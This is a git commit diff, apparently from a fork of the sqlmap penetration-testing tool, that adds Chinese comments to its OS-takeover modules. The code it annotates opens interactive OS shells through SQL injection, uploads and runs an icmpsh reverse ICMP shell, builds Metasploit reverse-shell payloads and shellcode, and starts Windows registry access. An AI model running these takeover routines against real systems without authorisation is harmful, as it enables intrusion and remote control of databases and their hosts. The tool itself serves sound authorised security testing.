add comments to takeover

pull/3/head
wang 3 months ago
parent f6b4a8f04f
commit d9b7712f9d

@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块
from __future__ import print_function from __future__ import print_function
import sys import sys
@ -33,36 +34,51 @@ from thirdparty.six.moves import input as _input
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
""" """
This class defines an abstraction layer for OS takeover functionalities 这个类定义了一个抽象层,用于操作系统接管功能
to UDF / XP_cmdshell objects 继承了WebUDF和XP_cmdshell类的功能
""" """
def __init__(self): def __init__(self):
# 初始化环境状态标志
self.envInitialized = False self.envInitialized = False
# 是否总是获取命令输出的标志
self.alwaysRetrieveCmdOutput = False self.alwaysRetrieveCmdOutput = False
# 调用父类的初始化方法
UDF.__init__(self) UDF.__init__(self)
Web.__init__(self) Web.__init__(self)
XP_cmdshell.__init__(self) XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False): def execCmd(self, cmd, silent=False):
"""
执行系统命令的方法
根据不同的数据库类型选择不同的执行方式
"""
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
# PostgreSQL使用COPY命令执行
self.copyExecCmd(cmd) self.copyExecCmd(cmd)
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
# 如果有Web后门URL且不支持堆叠查询或UDF失败,使用Web后门执行
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
# MySQL和PostgreSQL使用用户自定义函数执行
self.udfExecCmd(cmd, silent=silent) self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
# SQL Server使用xp_cmdshell扩展存储过程执行
self.xpCmdshellExecCmd(cmd, silent=silent) self.xpCmdshellExecCmd(cmd, silent=silent)
else: else:
# 不支持的数据库类型
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def evalCmd(self, cmd, first=None, last=None): def evalCmd(self, cmd, first=None, last=None):
"""
执行命令并返回结果的方法
"""
retVal = None retVal = None
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
@ -84,9 +100,13 @@ class Abstraction(Web, UDF, XP_cmdshell):
return safechardecode(retVal) return safechardecode(retVal)
def runCmd(self, cmd): def runCmd(self, cmd):
"""
运行命令并处理输出的方法
"""
choice = None choice = None
if not self.alwaysRetrieveCmdOutput: if not self.alwaysRetrieveCmdOutput:
# 询问用户是否需要获取命令输出
message = "do you want to retrieve the command standard " message = "do you want to retrieve the command standard "
message += "output? [Y/n/a] " message += "output? [Y/n/a] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
@ -95,6 +115,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.alwaysRetrieveCmdOutput = True self.alwaysRetrieveCmdOutput = True
if choice == 'Y' or self.alwaysRetrieveCmdOutput: if choice == 'Y' or self.alwaysRetrieveCmdOutput:
# 获取并显示命令输出
output = self.evalCmd(cmd) output = self.evalCmd(cmd)
if output: if output:
@ -102,15 +123,20 @@ class Abstraction(Web, UDF, XP_cmdshell):
else: else:
dataToStdout("No output\n") dataToStdout("No output\n")
else: else:
# 仅执行命令不获取输出
self.execCmd(cmd) self.execCmd(cmd)
def shell(self): def shell(self):
"""
提供交互式shell的方法
"""
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
infoMsg = "calling OS shell. To quit type " infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)
else: else:
# 根据不同数据库类型显示相应的提示信息
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "command execution" infoMsg += "command execution"
@ -135,12 +161,15 @@ class Abstraction(Web, UDF, XP_cmdshell):
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)
# 设置命令自动完成
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
# shell的主循环
while True: while True:
command = None command = None
try: try:
# 获取用户输入的命令
command = _input("os-shell> ") command = _input("os-shell> ")
command = getUnicode(command, encoding=sys.stdin.encoding) command = getUnicode(command, encoding=sys.stdin.encoding)
except KeyboardInterrupt: except KeyboardInterrupt:
@ -162,6 +191,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.runCmd(command) self.runCmd(command)
def _initRunAs(self): def _initRunAs(self):
"""
初始化以其他用户身份运行的功能
"""
if not conf.dbmsCred: if not conf.dbmsCred:
return return
@ -175,6 +207,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
return return
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
# SQL Server需要启用OPENROWSET功能
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
msg += "is disabled by default. This function is needed to execute " msg += "is disabled by default. This function is needed to execute "
msg += "statements as another DBMS user since you provided the " msg += "statements as another DBMS user since you provided the "
@ -185,23 +218,24 @@ class Abstraction(Web, UDF, XP_cmdshell):
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
inject.goStacked(expression) inject.goStacked(expression)
# TODO: add support for PostgreSQL
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
"""
初始化环境的方法
"""
self._initRunAs() self._initRunAs()
if self.envInitialized and not forceInit: if self.envInitialized and not forceInit:
return return
if web: if web:
# 初始化Web环境
self.webInit() self.webInit()
else: else:
# 检查数据库操作系统
self.checkDbmsOs(detailed) self.checkDbmsOs(detailed)
if mandatory and not self.isDba(): if mandatory and not self.isDba():
# 警告用户当前可能没有足够的权限
warnMsg = "functionality requested probably does not work because " warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator" warnMsg += "the current session user is not a database administrator"
@ -213,6 +247,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.warning(warnMsg) logger.warning(warnMsg)
# 根据不同数据库类型初始化相应功能
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):

@ -5,11 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的Python标准库
import os import os
import re import re
import socket import socket
import time import time
# 导入自定义模块和函数
from extra.icmpsh.icmpsh_m import main as icmpshmaster from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
@ -24,94 +26,125 @@ from lib.core.exception import SqlmapDataException
class ICMPsh(object): class ICMPsh(object):
""" """
This class defines methods to call icmpsh for plugins. 这个类定义了调用icmpsh工具的方法,用于插件功能
""" """
def _initVars(self): def _initVars(self):
self.lhostStr = None """
self.rhostStr = None 初始化类的成员变量
self.localIP = getLocalIP() """
self.remoteIP = getRemoteIP() or conf.hostname self.lhostStr = None # 本地主机地址字符串
self.rhostStr = None # 远程主机地址字符串
self.localIP = getLocalIP() # 获取本地IP地址
self.remoteIP = getRemoteIP() or conf.hostname # 获取远程IP地址,如果获取失败则使用配置的主机名
# 设置icmpsh slave程序的路径
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
def _selectRhost(self): def _selectRhost(self):
"""
选择远程主机地址
返回: 用户输入的远程主机地址
"""
address = None address = None
message = "what is the back-end DBMS address? " message = "what is the back-end DBMS address? " # 提示用户输入数据库地址
if self.remoteIP: if self.remoteIP:
message += "[Enter for '%s' (detected)] " % self.remoteIP message += "[Enter for '%s' (detected)] " % self.remoteIP # 如果检测到远程IP,则显示默认值
while not address: while not address:
address = readInput(message, default=self.remoteIP) address = readInput(message, default=self.remoteIP) # 读取用户输入
if conf.batch and not address: if conf.batch and not address: # 如果是批处理模式且没有提供地址,则报错
raise SqlmapDataException("remote host address is missing") raise SqlmapDataException("remote host address is missing")
return address return address
def _selectLhost(self): def _selectLhost(self):
"""
选择本地主机地址
返回: 用户输入的本地主机地址
"""
address = None address = None
message = "what is the local address? " message = "what is the local address? "
if self.localIP: if self.localIP:
message += "[Enter for '%s' (detected)] " % self.localIP message += "[Enter for '%s' (detected)] " % self.localIP # 如果检测到本地IP,则显示默认值
valid = None valid = None
while not valid: while not valid:
valid = True valid = True
address = readInput(message, default=self.localIP or "") address = readInput(message, default=self.localIP or "") # 读取用户输入
try: try:
socket.inet_aton(address) socket.inet_aton(address) # 验证IP地址格式是否正确
except socket.error: except socket.error:
valid = False valid = False
finally: finally:
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
if conf.batch and not address: if conf.batch and not address: # 批处理模式下没有地址则报错
raise SqlmapDataException("local host address is missing") raise SqlmapDataException("local host address is missing")
elif address and not valid: elif address and not valid: # 地址格式无效则警告
warnMsg = "invalid local host address" warnMsg = "invalid local host address"
logger.warning(warnMsg) logger.warning(warnMsg)
return address return address
def _prepareIngredients(self, encode=True): def _prepareIngredients(self, encode=True):
"""
准备ICMP shell所需的参数
"""
self.localIP = getattr(self, "localIP", None) self.localIP = getattr(self, "localIP", None)
self.remoteIP = getattr(self, "remoteIP", None) self.remoteIP = getattr(self, "remoteIP", None)
self.lhostStr = ICMPsh._selectLhost(self) self.lhostStr = ICMPsh._selectLhost(self) # 获取本地主机地址
self.rhostStr = ICMPsh._selectRhost(self) self.rhostStr = ICMPsh._selectRhost(self) # 获取远程主机地址
def _runIcmpshMaster(self): def _runIcmpshMaster(self):
"""
在本地运行icmpsh主程序
"""
infoMsg = "running icmpsh master locally" infoMsg = "running icmpsh master locally"
logger.info(infoMsg) logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr) icmpshmaster(self.lhostStr, self.rhostStr) # 启动icmpsh主程序
def _runIcmpshSlaveRemote(self): def _runIcmpshSlaveRemote(self):
"""
在远程运行icmpsh从程序
"""
infoMsg = "running icmpsh slave remotely" infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg) logger.info(infoMsg)
# 构建命令行参数: -t指定目标IP, -d指定延迟, -b指定缓冲区大小, -s指定数据大小
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
self.execCmd(cmd, silent=True) self.execCmd(cmd, silent=True) # 执行命令
def uploadIcmpshSlave(self, web=False): def uploadIcmpshSlave(self, web=False):
"""
上传icmpsh从程序到目标机器
参数:
web: 是否通过web方式上传
返回:
上传是否成功
"""
ICMPsh._initVars(self) ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True) # 生成随机字符串
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr # 生成临时文件名
# 构建远程文件完整路径
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web: if web: # 通过web方式上传
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
else: else: # 通过其他方式上传
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
if written is not True: if written is not True:
# 上传失败的错误提示
errMsg = "there has been a problem uploading icmpsh, it " errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written " errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has " errMsg += "on the database underlying file system or an AV has "
@ -127,14 +160,18 @@ class ICMPsh(object):
return True return True
def icmpPwn(self): def icmpPwn(self):
ICMPsh._prepareIngredients(self) """
self._runIcmpshSlaveRemote() 执行ICMP shell攻击的主函数
self._runIcmpshMaster() """
ICMPsh._prepareIngredients(self) # 准备参数
self._runIcmpshSlaveRemote() # 运行远程从程序
self._runIcmpshMaster() # 运行本地主程序
debugMsg = "icmpsh master exited" debugMsg = "icmpsh master exited"
logger.debug(debugMsg) logger.debug(debugMsg)
time.sleep(1) time.sleep(1)
# 清理远程机器上的进程和文件
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
time.sleep(1) time.sleep(1)
self.delRemoteFile(self._icmpslaveRemote) self.delRemoteFile(self._icmpslaveRemote)

@ -259,24 +259,36 @@ class Metasploit(object):
return _payloadStr return _payloadStr
def _selectPort(self): def _selectPort(self):
# 遍历_portData字典中的键值对
for connType, connStr in self._portData.items(): for connType, connStr in self._portData.items():
# 如果connectionStr以connType开头
if self.connectionStr.startswith(connType): if self.connectionStr.startswith(connType):
# 返回_skeletonSelection函数的返回值maxValue为65535default为1025到65535之间的随机数
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def _selectRhost(self): def _selectRhost(self):
# 如果connectionStr以"bind"开头
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
# 提示用户输入后端DBMS地址默认为remoteIP
message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP
address = readInput(message, default=self.remoteIP) address = readInput(message, default=self.remoteIP)
# 如果用户没有输入地址
if not address: if not address:
# 将地址设为remoteIP
address = self.remoteIP address = self.remoteIP
# 返回地址
return address return address
# 如果connectionStr以"reverse"开头
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
# 返回None
return None return None
# 如果connectionStr不以"bind"或"reverse"开头
else: else:
# 抛出SqlmapDataException异常
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
def _selectLhost(self): def _selectLhost(self):
@ -296,9 +308,11 @@ class Metasploit(object):
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
def _selectConnection(self): def _selectConnection(self):
# 选择连接类型
return self._skeletonSelection("connection type", self._msfConnectionsList) return self._skeletonSelection("connection type", self._msfConnectionsList)
def _prepareIngredients(self, encode=True): def _prepareIngredients(self, encode=True):
# 准备食材
self.connectionStr = self._selectConnection() self.connectionStr = self._selectConnection()
self.lhostStr = self._selectLhost() self.lhostStr = self._selectLhost()
self.rhostStr = self._selectRhost() self.rhostStr = self._selectRhost()
@ -308,11 +322,13 @@ class Metasploit(object):
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def _forgeMsfCliCmd(self, exitfunc="process"): def _forgeMsfCliCmd(self, exitfunc="process"):
# 构造Metasploit命令行
if kb.oldMsf: if kb.oldMsf:
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " LPORT=%s" % self.portStr
# 根据连接类型选择LHOST或RHOST
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
@ -320,6 +336,7 @@ class Metasploit(object):
else: else:
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
# 如果是Windows系统且payload为windows/vncinject则添加DisableCourtesyShell参数
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " DisableCourtesyShell=true"
@ -376,39 +393,54 @@ class Metasploit(object):
self._cliCmd += "; exploit'" self._cliCmd += "; exploit'"
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf: if kb.oldMsf:
self._payloadCmd = self._msfPayload self._payloadCmd = self._msfPayload
else: else:
self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd = "%s -p" % self._msfVenom
# 添加payload连接字符串
self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " %s" % self.payloadConnStr
# 添加退出函数
self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " EXITFUNC=%s" % exitfunc
# 添加监听端口
self._payloadCmd += " LPORT=%s" % self.portStr self._payloadCmd += " LPORT=%s" % self.portStr
# 根据连接类型,添加监听主机
if self.connectionStr.startswith("reverse"): if self.connectionStr.startswith("reverse"):
self._payloadCmd += " LHOST=%s" % self.lhostStr self._payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"): elif not self.connectionStr.startswith("bind"):
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
# 如果是Linux系统并且开启了提权选项则添加PrependChrootBreak和PrependSetuid参数
if Backend.isOs(OS.LINUX) and conf.privEsc: if Backend.isOs(OS.LINUX) and conf.privEsc:
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf: if kb.oldMsf:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
# 如果extra参数不为空则添加extra参数
if extra is not None: if extra is not None:
self._payloadCmd += " %s" % extra self._payloadCmd += " %s" % extra
# 否则,设置输出文件
else: else:
self._payloadCmd += " X > \"%s\"" % outFile self._payloadCmd += " X > \"%s\"" % outFile
# 否则,设置输出文件和格式
else: else:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
# 如果extra参数不为空则添加extra参数
if extra is not None: if extra is not None:
self._payloadCmd += " %s" % extra self._payloadCmd += " %s" % extra
# 设置输出文件
self._payloadCmd += " > \"%s\"" % outFile self._payloadCmd += " > \"%s\"" % outFile
# 否则,设置输出文件和格式
else: else:
self._payloadCmd += " -f exe > \"%s\"" % outFile self._payloadCmd += " -f exe > \"%s\"" % outFile
@ -581,39 +613,57 @@ class Metasploit(object):
pass pass
def createMsfShellcode(self, exitfunc, format, extra, encode): def createMsfShellcode(self, exitfunc, format, extra, encode):
# 创建Metasploit Framework多阶段shellcode
infoMsg = "creating Metasploit Framework multi-stage shellcode " infoMsg = "creating Metasploit Framework multi-stage shellcode "
logger.info(infoMsg) logger.info(infoMsg)
# 生成随机字符串
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
# 生成shellcode文件路径
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
# 初始化Metasploit变量
Metasploit._initVars(self) Metasploit._initVars(self)
# 准备shellcode的成分
self._prepareIngredients(encode=encode) self._prepareIngredients(encode=encode)
# 生成Metasploit payload命令
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
# 执行本地命令
logger.debug("executing local command: %s" % self._payloadCmd) logger.debug("executing local command: %s" % self._payloadCmd)
process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
# 输出创建进度
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
# 检查进程状态
pollProcess(process) pollProcess(process)
# 获取进程错误输出
payloadStderr = process.communicate()[1] payloadStderr = process.communicate()[1]
# 搜索shellcode大小
match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr)
if match: if match:
# 获取shellcode大小
payloadSize = int(match.group(2)) payloadSize = int(match.group(2))
# 如果extra参数为BufferRegister=EAX则将shellcode大小除以2
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
payloadSize = payloadSize // 2 payloadSize = payloadSize // 2
# 输出shellcode大小
debugMsg = "the shellcode size is %d bytes" % payloadSize debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
# 如果没有找到shellcode大小则抛出异常
errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "")
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
# 打开shellcode文件
self._shellcodeFP = open(self._shellcodeFilePath, "rb") self._shellcodeFP = open(self._shellcodeFilePath, "rb")
# 读取shellcode文件内容
self.shellcodeString = getText(self._shellcodeFP.read()) self.shellcodeString = getText(self._shellcodeFP.read())
# 关闭shellcode文件
self._shellcodeFP.close() self._shellcodeFP.close()
os.unlink(self._shellcodeFilePath) os.unlink(self._shellcodeFilePath)
@ -659,6 +709,7 @@ class Metasploit(object):
return True return True
def pwn(self, goUdf=False): def pwn(self, goUdf=False):
# 如果goUdf为True则使用thread作为退出函数否则使用process作为退出函数
if goUdf: if goUdf:
exitfunc = "thread" exitfunc = "thread"
func = self._runMsfShellcodeRemote func = self._runMsfShellcodeRemote
@ -666,40 +717,52 @@ class Metasploit(object):
exitfunc = "process" exitfunc = "process"
func = self._runMsfShellcodeRemoteViaSexec func = self._runMsfShellcodeRemoteViaSexec
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc=exitfunc) self._runMsfCli(exitfunc=exitfunc)
# 如果连接字符串以bind开头则运行func函数
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
func() func()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited " debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
logger.debug(debugMsg) logger.debug(debugMsg)
# 如果goUdf为False则等待1秒并删除远程文件
if not goUdf: if not goUdf:
time.sleep(1) time.sleep(1)
self.delRemoteFile(self.shellcodeexecRemote) self.delRemoteFile(self.shellcodeexecRemote)
def smb(self): def smb(self):
# 初始化Metasploit变量
Metasploit._initVars(self) Metasploit._initVars(self)
# 生成随机文件名
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
# 运行Metasploit命令行界面
self._runMsfCliSmbrelay() self._runMsfCliSmbrelay()
# 如果识别的数据库管理系统是MySQL或PGSQL则使用UNC路径
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
else: else:
self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework console exited with return " debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
logger.debug(debugMsg) logger.debug(debugMsg)
def bof(self): def bof(self):
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc="seh") self._runMsfCli(exitfunc="seh")
# 如果连接字符串以bind开头则运行spHeapOverflow函数
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self.spHeapOverflow() self.spHeapOverflow()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited " debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg) logger.debug(debugMsg)

@ -5,114 +5,184 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import os import os
from lib.core.common import openFile # 导入自定义的工具函数
from lib.core.common import randomStr from lib.core.common import openFile # 用于打开文件
from lib.core.data import conf from lib.core.common import randomStr # 用于生成随机字符串
from lib.core.data import logger from lib.core.data import conf # 配置信息
from lib.core.enums import REGISTRY_OPERATION from lib.core.data import logger # 日志记录器
from lib.core.enums import REGISTRY_OPERATION # 注册表操作类型的枚举
class Registry(object): class Registry(object):
""" """
This class defines methods to read and write Windows registry keys 这个类定义了读取和写入Windows注册表键值的方法
注册表是Windows系统中的一个核心数据库用于存储系统和应用程序的配置信息
""" """
def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
"""
初始化注册表操作所需的变量
:param regKey: 注册表键路径例如"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows"
:param regValue: 注册表值名称即要操作的具体配置项名称
:param regType: 注册表值类型如REG_SZ(字符串)REG_DWORD(数字)
:param regData: 要写入的注册表值数据
:param parse: 是否需要解析输出True表示需要特殊处理输出格式
"""
# 保存传入的参数
self._regKey = regKey self._regKey = regKey
self._regValue = regValue self._regValue = regValue
self._regType = regType self._regType = regType
self._regData = regData self._regData = regData
# 生成一个随机字符串,用于创建临时批处理文件名
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
# 设置远程系统上临时批处理文件的路径
self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
# 设置本地系统上临时批处理文件的路径
self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)
# 根据parse参数决定读取命令的格式
if parse: if parse:
# 使用FOR循环解析REG QUERY的输出可以获得更规范的格式
